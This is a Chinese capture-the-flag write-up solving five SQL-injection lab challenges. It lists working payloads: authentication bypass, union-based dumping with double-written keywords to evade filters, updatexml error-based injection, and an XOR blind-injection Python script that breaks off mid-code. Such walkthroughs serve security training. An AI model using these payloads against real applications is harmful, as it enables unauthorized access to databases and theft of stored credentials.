SQL部分:
[极客大挑战 2019]BabySQL
打开环境后有登录界面◕‿◕
一眼注入,后先试试全能暗码:- username:admin' or '1'='1
- password:1
复制代码 GG,出大问题,我就会这一招啊O.o??完结撒花(不是
꒰ঌ( ⌯' '⌯)໒꒱开玩笑的,着看着像是过滤了or后来尝试了一下oorr双写发现也不可,那咱继续注入哈:
尝试输入下正常的union select等语句发现都被过滤了,那接下来把他们都双写看一下:- /check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23
复制代码
看到情况是不报错,是列数不对啊
那就利用二分法一个一个排查,发现列数是3的时间就对了:- /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
复制代码
后边就简单了,直接附代码了:- /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23 #爆库
复制代码 - /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
- #列出所有库
复制代码
看到了ctf库进去:- /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
- table_name="Flag" %23
复制代码
直接拿数据就好了:- /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23
复制代码
得到Flag:- flag{ea47f9af-b37b-4f94-a04d-c5b249737afe}
复制代码 [极客大挑战 2019]EasySQL
看到第二题,发现界面没变,还长这样
话不多说,全能暗码尝试一下:- username:1
- passwd:admin' or '1'='1
复制代码
啊?直接出?好吧,看来是练手的:- flag{ef920bf4-ed7f-419b-af87-409fa306319a}
复制代码 [极客大挑战 2019]HardSQL
好,出题人不知改过,那就让他终身难忘(doge
同样的全能暗码起手,能简单来我们就不睁开做o.O- username:admin' or '1'=1'
- passwd:1
复制代码
好小子,那我可要进去了!?还是这样是吧,那就bp看狙击手模式下你给我过滤了多少字段!
fuzz完发现空格 ,注释符,and,by,=,sleep,/,~等都被过滤了,行,那就进入报错注入环节:
利用()代替空格,利用like代替=,利用^连接函数形成异或
查了其他数据库最后锁定在geek里边
先查表:- admin'or(updatexml(1,concat(0x7e,database()),1))#
复制代码
好小子,漏出漏洞了吧,那接下来爆表名:- admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
复制代码
继续:- admin'or(updatexml(1%2Cconcat(0x7e%2C(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))%2C1))%23
复制代码
出敏感字段,结束了,胜负已分( ´◔︎ ‸◔︎`)- admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#
复制代码
但是只出来左半边?那好说了,左右分开就好了:- admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#
复制代码 - flag{de3015f5-b395-4395-86c8-cf2ddf32e801}
复制代码 [极客大挑战 2019]LoveSQL
ok看看这个家伙还会来什么
先输入全能暗码:- 用户名:1' or 1=1#
- 密码:123(随便输)
复制代码
爆出了一些字段,接下来我们试一下联合注入,二分法先确认是3个字段:- /check.php?username=1' union select 1,2,3%23&password=1
复制代码 得到回显位置为2、3,查一下版本号:- /check.php?username=1' union select 1,database(),version()%23&password=1
复制代码
得到关键信息geek为数据名称,接下来就可以常规步骤了:
爆表:- /check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
复制代码
爆字段:- /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
复制代码
爆数据:- /check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
复制代码 得到flag:
- flag{c76c8911-1aa0-494f-bd2d-1d7356abef1f}
复制代码
[极客大挑战 2019]FinalSQL
最后一个了,小小出题人又会干嘛呢?0.0
ok,又是一堆乱七八糟的,挨个点击以后发现在第五个里边说有个id=6
那就修改下id=6:
.
这么一看方向是对的,那接下来分析一下:
测试这个地方是否存在注入,效果发现他有过滤,过滤了空格、星号等特别符号,但是减号、异或符、除号并未过滤,并且测出此处为数字型注入而非字符型注入。(测试方法:传值1、2-1、1/1、1^0等效果正常显示,而输入3-1则显示“2”的页面)
这样的话,要二分法盲注了,这里给大家直接脚本了,一个大牛的,一个我的:
脚本1:
[code]# -*- coding: utf-8 -*-import reimport requestsimport stringimport timeurl = "#url+id="flag = ''def payload(i, j): # 数据库名字 #sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) # 表名 #sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) # 列名 #sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) # 查询flag sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j) data = {"id": sql} r = requests.get(url, params=data) # print (r.url) if "Click" in r.text: res = 1 else: res = 0 return resdef exp(): global flag for i in range(1, 10000): print(i, ':') low = 31 high = 127 while low |